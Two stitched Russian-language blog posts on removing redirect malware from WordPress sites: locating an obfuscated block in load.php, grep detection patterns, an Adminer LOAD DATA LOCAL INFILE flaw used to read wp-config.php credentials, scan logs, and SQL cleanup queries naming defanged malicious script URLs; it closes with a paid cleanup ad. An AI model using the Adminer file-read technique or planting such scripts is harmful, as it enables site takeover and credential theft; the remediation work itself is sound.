- первый вход (чистый браузер без кэша) на любую страницу сайта перенаправляет на платные подписки
- переадресация срабатывает только для мобильных интернет сетей
- redirect срабатывает с любой страницы, в том числе с 404 и страницы “восстановления системы”
- поисковые системы реагируют на подобный вредоносный код отказом запуска рекламных кампаний (Google Ads) и меткой “Обнаружены нарушения или проблемы с безопасностью” в Яндекс.Вебмастер
Как повторить срабатывание вредоносного кода:
- использовать Google Chrome и панель разработчика (F12 – windows, CMD+ALT+I – MacOS)
- подключение через мобильный интернет (например, раздача wi-fi с мобильного телефона)
- открываем заражённый сайт, в панели разработчика выбираем вкладку “Application/Приложение” и очищаем хранилище “Clear site date/Удалить данные сайта”
- перезагружаем страницу с очисткой кэша (Ctrl+F5 – Windows, CMD+R – MacOS)
В нашем случае вредоносный код перенаправляет мобильный трафик по адресам contentblog.site и amlnk.ru, которые, в свою очередь, отправляют уже на различные платные сервисы. В нашем варианте конечным пунктом была страница с платной подпиской на “Фитнес от Теле2”.
Поиск вредоносного кода в CMS WordPress
Мы пробовали прогонять сайта “антивирусными” плагинами, вроде Anti-Malware и WordFence – безрезультатно. Пробовали отсортировать последние измененные файлы на сервере и проверить их вручную – тоже безрезультатно (забегая вперед: вредоносный код был внесён в файл, дата редактирования которого осталась неизменной).
Остался вариант с ручным поиском кода вируса-редиректа в “Вордпресс”, который сводится к циклу следующих действий:
- отключить файлы/плагин
- проверить сайт на срабатывание вредоносного кода
- включить файлы/плагин из пункт 1
- повторить цикл
Рекомендуем в начале проверять недавно установленный или обновленный плагины. После перейти к папке текущей темы “wp-content/themes/“. Далее проверять папку “wp-includes” и все вложенные в неё файлы. Иногда, при отключении (т.е. смены имени папки/файла) сайт переставал работать и показывал страницу критической ошибки. Но, даже при этой ошибке вредоносный редирект срабатывал.
Как выглядит и где находится вирус
Собственно, описанным выше методом мы нашли вредоносный код вируса-редиректа в файле load.php (/wp-includes/load.php). Код выглядит как беспорядочный набор символов – зашифрованная часть кода в начале файла в собственных php тегах (<?=// [code] ?>).
Удаление всего участка кода вместе с php тегами избавило все страницы CMS WordPress от вредоносного редиректа.
Послесловие
В вашем случае код может располагаться в другом месте системы. Как вариант – выкачать все файлы сайта и использовать поиск по всем вложенным файлам по фразе “<?=//” или “parse_str#” с помощью терминала в MacOS или Linux (команда: grep -rl ‘фраза-для-поиска’ /путь/до-файлов-сайта/).
Также, рекомендуем вовремя обновлять CMS и плагины до актуальной версии, чтобы снизить к минимум подобные происшествия.
Примерно последние 2 месяца наблюдается волна взломов WordPress. С взломанного сайта обычно ставят редирект на какой нибудь сайт казино или фишинговый сайт , маскируя под капчу , как на картинке.
Вкратце расскажу про причину взлома, а затем расскажу про простой способ лечения сайта, если повезло и вирус затронул только БД. — это самый частый сценарий.
Способ взлома необычен и связан не с уязвимостью какого нибудь плагина или с использованием уязвимой версии Вордпреса. А связан с халатностью разработчиков или владельца сайта. Многие вебмастера используют для работы с БД MySql утилиту Adminer. Мой поклон разработчикам, сам охотно использую. Только оставлять после разработки adminer на сайте дурной тон. Как оказалось, версия до 4.6.2 имеет уязвимость связанную с использованием конструкции
LOAD DATA LOCAL INFILE ‘filename’ . С ее помощью можно импортировать клиентские файлы в БД. Adminer позволяет соединяться с бд, на удаленном сервере, соотвественно хакер может использовать конструкция для просмотра на своем сервере файлов с сайта на котором стоит adminer. Например wp-config.php . Из него можно извлечь настстройки к БД, далее через тот же adminer создать админа к WordPress и далее делать что угодно.
Уязвимость обнаружена давно ,еще в 2018 году, но массовые атаки с ее использованием наблюдаются последние пару месяцев. Чаще всего атакуют WordPress, реже Joomla, ModX, Opencart и другие CMS. Чаще всего ставят редирект, внедряя его в БД Mysql, реже закидывают вредоносы других типов.
Вот так выглядит фрагмент сканирования на уязвимость в логах одного из сайтов.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
51.39.196.197 – – [29/Nov/2019:17:11:56 +0300] “GET //administrator/index.php HTTP/1.0” 301 430 “-“ “python-requests/2.22.0” 51.39.196.197 – – [29/Nov/2019:17:11:57 +0300] “GET /administrator/ HTTP/1.0” 404 113848 “-“ “python-requests/2.22.0” 51.39.196.197 – – [29/Nov/2019:17:11:58 +0300] “GET //wp-login.php HTTP/1.0” 302 296 “-“ “python-requests/2.22.0” 51.39.196.197 – – [29/Nov/2019:17:12:07 +0300] “GET //admin HTTP/1.0” 301 421 “-“ “python-requests/2.22.0” 51.39.196.197 – – [29/Nov/2019:17:12:08 +0300] “GET /admin HTTP/1.0” 404 113848 “-“ “python-requests/2.22.0” 91.121.84.201 – – [29/Nov/2019:19:13:26 +0300] “GET /admin.php HTTP/1.0” 404 113848 “ 51.15.144.64 – – [29/Nov/2019:19:18:19 +0300] “GET /_adminer HTTP/1.0” 404 113848 “–” “Go-http-client/1.1“ 51.15.144.64 – – [29/Nov/2019:19:18:24 +0300] “GET /_adminer.php HTTP/1.0” 404 113848 “–” “Go-http-client/1.1“ 51.15.144.64 – – [29/Nov/2019:19:18:26 +0300] “GET /ad.php HTTP/1.0” 404 113848 “–” “Go-http-client/1.1“ 51.15.144.64 – – [29/Nov/2019:19:18:30 +0300] “GET /adm.php HTTP/1.0” 404 113848 “–” “Go-http-client/1.1“ 51.15.144.64 – – [29/Nov/2019:19:18:35 +0300] “GET /adminer HTTP/1.0” 404 113848 “–” “Go-http-client/1.1“ 51.15.144.64 – – [29/Nov/2019:19:18:37 +0300] “GET /adminer-4.3.1.php HTTP/1.0” 404 113848 “–” “Go-http-client/1.1“ 51.15.144.64 – – [29/Nov/2019:19:18:39 +0300] “GET /adminer.php HTTP/1.0” 404 113848 “–” “Go-http-client/1.1“ 51.15.144.64 – – [29/Nov/2019:19:18:41 +0300] “GET /db.php HTTP/1.0” 404 113848 “–” “Go-http-client/1.1“ 51.15.144.64 – – [29/Nov/2019:19:18:46 +0300] “GET /mysql.php HTTP/1.0” 404 113848 “–” “Go-http-client/1.1“ 51.15.144.64 – – [29/Nov/2019:19:18:51 +0300] “GET /pma.php HTTP/1.0” 404 113848 “–” “Go-http-client/1.1“ 51.15.144.64 – – [29/Nov/2019:19:18:53 +0300] “GET /wp-content/adminer.php HTTP/1.0” 404 113848 “–” “Go-http-client/1.1“ 51.15.144.64 – – [29/Nov/2019:19:18:58 +0300] “GET /wp-content/plugins/adminer/inc/editor/index.php HTTP/1.0” 301 454 “–” “Go-http-client/1.1“ |
Ищут в разных папках, под разными названиями.
Как лечить сайт на WordPress от редиректа?
Рассмотрим самый простой сценарий. Если вам повезло и вы обнаружили взлом сразу же.
Вариант 1, если у вас есть бекап на сервере или у хостера, то можно просто откатить сайт и затем удалить adminer . В данном случае даже не нужно никаких спец знаний.
Если бекапа нет, но вам повезло и вирус затронул только БД. В этом случае, можно использовать для лечения от редиректа тот же adminer , ирония судьбы :). Редирект обычно располагается в двух местах WordPress, в постах и в опциях. В админере есть очень удобная опция, поиска по всем таблицам. Ищем «/script» фрагмент закрывающего тега javascript с редиректом. Или если мы знаем код редиректа, можно искать по его фрагменту. Пример на скрине редирект на land[.]buyittraffic.
Удалить можно и вручную, но если включений много, то проще sql запросом.
UPDATE wp_posts SET post_content = REPLACE(post_content, “<script src=‘https://scripts[.]trasnaltemyrecords[.]com/pixel.js?track=r&subid=043’ type=‘text/javascript’></script>“,”) WHERE post_content LIKE “%trasnaltemyrecords%”; UPDATE wp_posts SET post_content = REPLACE(post_content, “<script src=‘https://land[.]buyittraffic[.]com/clizkes’ type=‘text/javascript’></script>“,”) WHERE post_content LIKE “%land.buyittraffic%”; UPDATE wp_posts SET post_content = REPLACE(post_content, “<script type=text/javascript src=‘https://top[.]worldctraffic[.]com/top’></script>“,”) WHERE post_content LIKE “%top.worldctraffic%”; |
Я привел пример 3 включений, но могут быть и другого типа. В примере добавил лишние квадратные скобки [],чтобы не ругался антивирус на ссылки на вредоносные сайты. Их надо убрать из запроса.
Далее проверить опции. В опциях ‘siteurl‘ и ‘home‘ обычно выставляют адрес своего сайта, но могут засунуть и в другие. Ну и конечно проверить на наличие лишних администраторов. Пример левого админа wordprestadmin на скрине
После удаления лишних администраторов, проверить та ли стоит почта, ее могли подменить на свою. Обязательно поменять пароль оставшимся админам. Не забыть удалить adminer и поменять пароль к БД.
Если вам повезло и вредоносный редирект затронул только БД Вордпреса, то на этом все. Если не повезло, то придется проверять и файлы, это уже сложнее. Если вам позволяет квалификация, то вы можете сделать это самостоятельно при помощи моей утилиты fscure или альтернативными методами.
Если у вас не получается вылечить сайт самостоятельно, welcome, могу помочь! 6 месяцев гарантии на работу, цена 800 руб.
Контакты
fStrange
fstrange.ru
cure@fstrange.ru